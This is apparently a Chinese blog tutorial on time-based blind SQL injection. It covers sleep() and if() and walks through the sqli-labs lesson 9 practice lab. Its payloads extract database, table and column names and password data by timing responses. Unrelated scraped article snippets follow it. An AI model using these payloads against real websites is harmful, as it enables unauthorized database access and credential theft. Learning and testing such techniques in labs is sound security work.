【SQL注入-无回显】时间盲注:原理、函数、利用过程

2023-11-14

目录

一、时间盲注(延时)

1.1、简介:

1.2、原理:

二、常用函数:

2.1、延迟函数:

​编辑

2.2、相关函数:

2.3、示例语句

三、利用过程

3.1、第一步:判断注入点

3.2、第二步:判断可使用注入方法

3.3、第三步:猜数据库名称长度

3.4、第四步:猜数据库名称(ASCII码)

四、逻辑判断

4.1、猜长度(eg:数据库)

4.2、猜字符(eg:数据库名第一位)

4.3、猜字符:(eg:第一个表名第一位)


一、时间盲注(延时)

1.1、简介:

由于服务器端拼接了SQL语句,且正确和错误存在同样的回显,即是错误信息被过滤,可以通过页面响应时间进行按位判断数据。由于时间盲注中的函数是在数据库中执行的,但是sleep函数或者benchmark函数的过多执行会让服务器负载过高

1.2、原理:

通过一个页面加载的时间延时来判断

但是这和网络,性能,设置的延时长短有关系

当对数据库进行查询操作,如果查询的条件不存在,语句执行的速度非常快,执行时间基本可以认为是0,通过控制sql语句的执行时间来判断



二、常用函数:

2.1、延迟函数:

sleep(N)函数

即如果写入到数据库被执行了,sleep(N)可以让此语句运行N秒钟

(通过执行时间来判断是否被执行,但是可能会因网速等问题参数误差)


2.2、相关函数:

if()函数

​ if(a,b,c),如果a的值为true,则返回b的值,如果a的值为false,则返回c的值


2.3、示例语句

?id=1’ and if ((ascii(substr(database(),0,1))>100),sleep(10),1) --+

sleep(if(database()="security",10,0))



三、利用过程

3.1、第一步:判断注入点

"and 1=1--+  页面返回有数据

"and 1=0--+  页面返回有数据

则:页面的返回没有变化,可能是盲注


3.2、第二步:判断可使用注入方法

然后用sleep()判断能否利用时间盲注

"and sleep(5)--+   页面延时了

则:是时间盲注。


3.3、第三步:猜数据库名称长度

"and if((length(database()))=10,sleep(5),1)--+  页面延时了

则:当前数据库名称长度为 10


3.4、第四步:猜数据库名称(ASCII码)

"and if(ascii(substr(database(),1,1))=107,sleep(5),1)--+  页面延时了

则:数据库第一个字母是k... 类推得到数据库名


(字段名、数据,都是以此类推)



四、逻辑判断

4.1、猜长度(eg:数据库)

?id=1' and sleep(if(length(database())=8,10,0)) --+

(页面窗口转了10s,说明长度为8)


4.2、猜字符(eg:数据库名第一位)

?id=1' and sleep(if(mid(database(),1,1)='s',10,0)) --+

(转了10秒说明是s)


4.3、猜字符:(eg:第一个表名第一位)

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),0) --+

(转了5秒说明是e)



五、示例(sqli-labs9)

5.1、第一步:注入点测试

 加上单引号、双引号闭合、数值型注入,都发现回显正常

无法判断是否存在注入点

 只能考虑使用延时函数了

 ?id=1' and sleep(5) --+

标签上面在转,说明函数执行了

即存在注入点

5.2、第二步:猜数据库名长度

?id=1' and if(length(database())>7,sleep(5),1)--+

转了5s说明判断正确

最后用=确定唯一长度

?id=1' and (length(database()))=8--+

转5s,判断正确,长度为8

5.3、第三步:猜数据库名(ASCII码)

?id=1' and if(ascii(substr(database(),1,1))<200,sleep(5),0) --+

转了5s说明if语句为真

?id=1' and if(ascii(substr(database(),1,1))>100,sleep(5),0) --+

转了5s说明if判断为真

 二分法,一直从中间分下去,直到确定一个值对应的ascii码

通过这个方法判断出整个数据库名

5.4、第四步:猜表名长度

?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>3,sleep(5),1)--+

转了5s说明if判断正确

 ?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))<8,sleep(5),1)--+

转了5s说明if判断正确

 采用二分法以此类推得到唯一的值

通过这个方法判断出表长

5.5、第五步:猜表名

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>60,  sleep(5),1)--+

转了5s说明if判断正确

?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))<200,  sleep(5),1)--+

转了5s说明if判断正确

 采用二分法以此类推得到唯一的值

通过这个方法判断出整个表名

5.6、第六步:猜字段长度

?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))>3,sleep(5),1)--+

转了5s说明if判断正确

 ?id=1' and if(length((select column_name from information_schema.columns where table_name='users' limit 0,1))<10,sleep(5),1)--+

转了5s说明if判断正确

 采用二分法以此类推得到唯一的值

通过这个方法判断出表长

5.7、第七步:猜字段名

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>10,sleep(5),1)--+

转了5s说明if判断正确

?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<100,sleep(5),1)--+

转了5s说明if判断正确

 采用二分法以此类推得到唯一的值

通过这个方法判断出整个字段名

5.8、第八步:猜数据

?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))>10, sleep(5),0)--+

转了5s说明if判断正确

?id=1' and if(ascii(substr((select password from security.users limit 0,1),1,1))<100, sleep(5),0)--+

转了5s说明if判断正确

采用二分法以此类推得到唯一的值

通过这个方法判断出整个数据

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【SQL注入-无回显】时间盲注:原理、函数、利用过程 的相关文章

  • Laravel 使用数据库自​​动完成文本字段

    我正在尝试制作如下所示的自动完成表单 但该表单没有显示建议 因为我的数据库查询没问题 形成科尔 控制器方法代码 Routes 当我搜索链接时 我得到如下查询结果 显示结果 id 1 value 苏拉夫霍森 id 2 value 苏拉夫霍森
  • 如何在此查询中获取以 KM 为单位的距离

    salons Salon select salons gt selectRaw 6371 acos cos radians cos radians lat cos radians lng radians sin radians sin ra
  • MySQL 行级锁

    我不确定行级锁是如何工作的 但这是我的问题 我有一个表 T id int balance int engine InnoDB 我想锁定 ID 1 的行 所以我开始一个像这样的事务 start transaction select from
  • 从 URL 生成报告 - SQL Server Reporting Services 2008

    我有 SQL Server Reporting Services 2008 当我打开以下 URL 时 http localhost Reports Pages Report aspx someReport 我正在进入报告屏幕 在其中填写参数
  • 从另一台计算机连接到 SQL Server

    我正在使用 C 连接到网络上另一台计算机上的 SQL Server 但收到一条异常消息 用户 用户名 登录失败 但是服务器日志状态表明使用 Windows 身份验证的用户连接成功 我的连接字符串是 Data Source ipaddress
  • 使用输出在合并语句中设置变量

    我有一个合并语句应该始终更新或插入一条记录 我想记住变量中该语句的 ID 它看起来像这样 DECLARE int int MERGE dbo table AS A USING SELECT stringtomatch AS string A
  • 表被指定两次作为 INSERT 的目标和单独的数据源

    我做了这个查询 但它给了我错误 就像标题中一样 INSERT INTO data waktu vaksinasi id binatang id vaksin tanggal vaksin status vaksin VALUES 1 1 S
  • MYSQL 中当前行上日期之前(并包括该日期)的所有行的总和

    重要的是要知道在查询期间日期是未知的 因此我不能只硬编码 WHERE 子句 这是我的桌子 Date ID Customer Order Count 20150101 Jones 6 20150102 Jones 4 20150103 Jon
  • SQL 用随机数据填充表

    我有一个包含两个字段的表 id UUID 是主键并且 描述 var255 我想用SQL语句插入随机数据 我希望这个描述是随机的 PS 我正在使用 PostgreSQL 我不确定这是否符合 随机描述 的要求 也不清楚您是否想要生成完整的数据
  • SSRS 报告 - IIF 声明问题

    做一个表达式时出现错误 有人可以在这里告诉我正确的语法吗 IIf Fields t cpcp Value 310 Purchased Material Raw Material Nothing IIf Fields t cpcp Value
  • 自定义 Sql Server 对象资源管理器右键单击菜单项

    如何在 Sql Server 2012 的对象资源管理器中添加或自定义右键菜单项 例如 我想将新项目添加到表右键菜单中以生成自定义表创建器脚本 您可以编写一个 SSMS 加载项 See http sqlblogcasts com blogs
  • SQL Server 为什么索引不与 OR 一起使用

    我一直在研究索引并试图了解它们是如何工作的以及如何使用它们来提高性能 但我错过了一些东西 我有下表 Person Id Name Email Phone 1 John E1 P1 2 Max E2 P2 我正在尝试找到对列进行索引的最佳方法
  • 针对 SqlClient 的 getschema("foreignkeys") 未产生足够的信息

    我需要两个表和两组字段 而不是外键名称和其中一个表名称 有谁知道如何查询SQL Server完整的外键信息 谢谢 这可能是一项复杂的冒险 GetSchema 和 INFORMATION SCHEMA 视图不完整 导致需要直接查询 sys 视
  • sql“LIKE”查询语法

    这个查询有什么问题 string command get pay select Credit from Update Company Credit where Update Date LIKE System DateTime Today T
  • 查看oracle有关主/外键约束的元数据

    哪个表包含有关约束的详细信息 例如外键引用的表 表 all cons columns all constraints 仅包含约束的名称 这不是很有帮助 我目前正在使用 dbms metadata get ddl 但它不适用于所有数据库 Th
  • 基于两个数据库表之间的数据比较创建oracle视图

    我有下表 我想创建视图以便descr O 以及对于常见的id isin两个表中的字段值 检查ratio字段并只取其中的行ratio字段值低 for descr O 如果 id isin 存在于一个表中但不存在于另一个表中 则获取这些行 双向
  • 数据库设计 - “推”模型,或写时扇出

    背景信息 我正在尝试检索我关注的人的图像 按最新时间排序 它就像 Twitter 新闻源 显示您朋友的最新动态 Plans 目前我只需要考虑一项 那就是图像 将来我计划分析用户的行为并将他们可能喜欢的其他图像添加到他们的提要中等 http
  • SQL:删除SQL Server中的重复记录

    我有一个 sql server 数据库 我预先加载了大量数据行 不幸的是 数据库中没有主键 并且表中现在存在重复信息 我不担心没有主键 但我担心数据库中有重复项 有什么想法吗 原谅我是一个sql server新手 嗯 这就是表上应该有主键的
  • 将语句插入 SQL Server 数据库

    最近几天我试图找到这个错误 但没有成功 我正在尝试在数据库中插入一个新行 一切都很顺利 没有错误 也没有程序崩溃 My INSERT声明如下 INSERT INTO Polozaj Znesek Uporabnik Cas Kupec Po
  • 使用 Athena 从 AWS WAF 日志中的规则组列表获取终止规则

    我跟着这些说明 https docs aws amazon com athena latest ug waf logs html将我的 AWS WAF 数据放入 Athena 表中 我想查询数据以查找具有 BLOCK 操作的最新请求 此查询

随机推荐

  • 如何高效学习一门新技术

    如何高效学习一门新技术 最近着手学习WCF 举步维艰 故阅读了大量关于学习新技术方法的网页 最终整理如下 一共大家参考 对于这个较大的话题 我们分两个部分介绍 学习新技术的10个建议 和 学习新技术的具体行动 学习新技术的10个建议 尽管我
  • Python视频处理(1)——视频分镜头提取+视频处理

    目录 一 导出帧图像 二 判定相似度 1 均值哈希判定相似度 2 基于直方图相似度 三 视频处理 利用ffmpeg 1 截取视频1分钟 2 视频格式转换 3 多媒体格式转换 4 视频方向处理 5 其他命令代码整理 一 导出帧图像 将视频以帧
  • 关于mysql取余和取整的函数

    MySQL中整除和取余函数分别为 1 整除函数 DIV 或者 双斜杠 使用方法 SELECT 10 DIV 3 返回结果为 3 SELECT 10 3 返回结果为 3 2 取余函数 MOD 或者 百分号 使用方法 SELECT MOD 10
  • loop设备模拟nvme设备

    加载 nvme loop内核模块 需要内核支持 或者自己编译 nvme loop 相关模块 sudo modprobe nvme loop 生成 loop 文件 dd if dev zero of path to nvme fs bs 1M
  • Jenkins ——The server rejected the connection

    启动agent时 报如下错误 信息 Protocol JNLP4 connect encountered an unexpected exception java util concurrent ExecutionException org
  • HTK语音识别中的决策树

    1 为什么需要决策树 我们在使用HTK进行语音识别模型训练的过程中 首先进行的是单音素 单个高斯的模型训练 抛开单个高斯不说 单音素模型本身有很大缺点 没有考虑到本音素前后音素的发音对本音素的影响 比如 同样是一个音素iy 如果它前面的音素
  • 你好,面试官-秋招面经C++持续更新

    C 指针和引用的区别 指针常量和常量指针的区别 sizeof 和 strlen 的区别 const关键字 static关键字 C 中struct和class的区别 new malloc和deete free的区别 宏定义和typedef区别
  • C1 ARMv7-M Debug

    C1 1 Introduction to ARMv7 M debug This section describes the debug architecture for the ARMv7 M architecture profile Th
  • python消消乐游戏界面的实现:

    一 环境介绍 1 Python 版本 Python 消消乐游戏可以在 Python 2 7 和 Python 3 x 版本中运行 2 Pygame 模块 Python 消消乐游戏需要使用 Pygame 模块来实现游戏界面和图形绘制等功能 如
  • DP线和HDMI线区别,优缺点,传输显示器图像速率

    参考DP接口与HDMI接口各有什么优势 哪个更好 资料来源于网络 仅供参考 最近在x宝上买显示器的线 看到各种hdmi dp版本的线 2 0 dp1 4 4k 8k typec转三口hdmi 可把我看昏了 在网上收集了一些资料用于总结 以及
  • QMUI 学习一: 入门,如何添加QMUI框架到 android项目 ,并引入QMUI的主题Theme:

    用是最新的Android Studio 3 6 x的 下了新的QMUI Demo参考学习UI 先上效果图 如何添加QMUI框架并引用它的主题 1 添加框架 在app gradle里面添加依赖 implementation com qmuit
  • 感知器算法实现多类样本的线性分类(Matlab)

    原理 略 步骤 二分类问题 1 将第一类样本作为正样本 第二类样本作为负样本 首先 对样本的向量空间进行增广 即对n维向量x的首部或者尾部增加一个参数1 增广为 n 1 维向量 并对其进行规范化 即正样本不做处理 负样本的 n 1 维向量取
  • web buuctf [极客大挑战 2019]Knife1

    题目给出得信息量是一句话木马 文本里面有一个 菜刀 字眼 可以尝试一下用中国菜刀 现在大部分都是用蚁剑 测试连接 提示成功 将该数据添加到界面上 点进去 点到根目录 在最下面有一个flag文件 点开即可 这道题考点 1 一句话木马 2 中国
  • 液晶显示器汉字字模存储及显示

    一 3 种汉字字模存储和提取的方法 1 字模存放在程序存储器中 这种方法较为常用 针对程序不大或单片机无外部扩展数据存储区功能的情况 2 通过外扩的EEPROM 存储汉字字模数据 将其作为外部数据存储器进行寻址 采用哈佛结构的单片机 如80
  • 罗小黑用flash做的_Flash动画制作小黑人经典动画效果技巧介绍(图文)

    本教程是向大家介绍Flash动画制作小黑人经典动画效果技巧 教程很经典 介绍的非常详细 相信对学习Flash朋友有一定的帮助 转发过来 希望对大家有所帮助 解决思路 小黑人动作是典型的人物动作 我们利用小黑人可以练习我们对人物动作的掌握 因
  • 带优美外观的UserControl控件GroupBox

    http www myfirm cn news DotNetUserInterface 20080208095730391 html 写在前面 如果大家觉得 Net自带的GroupBox控件太差了 样子很不美观 而想用 Net强大的自定义功
  • 【MyBatis】 动态SQL——模糊查询 LIKE

    一 LIKE SELECT FROM t usr WHERE name like name SQL解析为 SELECT FROM t usr WHERE name like 海 可以看到 传参必须用 不能用 所以这样写的弊端就是不安全 不能
  • 腾讯家低调开发的良心工具?目前无任何付费机制还挺好用~

    去年 Tik Tok Clipping 和哔哩哔哩 Clipping 相继推出了自己的桌面编辑软件 相比专业首演 无论是操作逻辑还是内置素材库 它们都能让非专业人士更容易上手 大大降低创作门槛 但还是有朋友反馈电脑不能动 实在没办法动 只好
  • 在macOS上安装NodeJS多版本管理工具

    需求 现在Node js也有很多的版本啦 简单地使用某个版本 只需要去下载安装对应版本就可以了 如果需要多个版本在机器上共存 并在需要时切换到相应的版本环境 这时候就需要多版本的管理工具了 而 n nvm就是这个有效的工具 简介 NVM 即
  • 【SQL注入-无回显】时间盲注:原理、函数、利用过程

    目录 一 时间盲注 延时 1 1 简介 1 2 原理 二 常用函数 2 1 延迟函数 编辑 2 2 相关函数 2 3 示例语句 三 利用过程 3 1 第一步 判断注入点 3 2 第二步 判断可使用注入方法 3 3 第三步 猜数据库名称长度